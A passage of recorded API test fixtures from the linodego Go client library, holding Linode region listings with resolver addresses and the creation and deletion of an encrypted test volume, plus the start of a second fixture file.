"GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 30}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 10 Oct 2024 18:22:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-create-encryption","region":"us-lax","tags":null,"encryption":"enabled"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 6578947, "status": "creating", "label": "go-vol-test-create-encryption", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-create-encryption", "size": 20, "linode_id": null, "linode_label": null, "region": "us-lax", "tags": [], "hardware_type": "nvme", "encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "370" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 10 Oct 2024 18:22:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/6578947 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 10 Oct 2024 18:22:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVolume_Get.yaml000066400000000000000000000641001474652371000303570ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 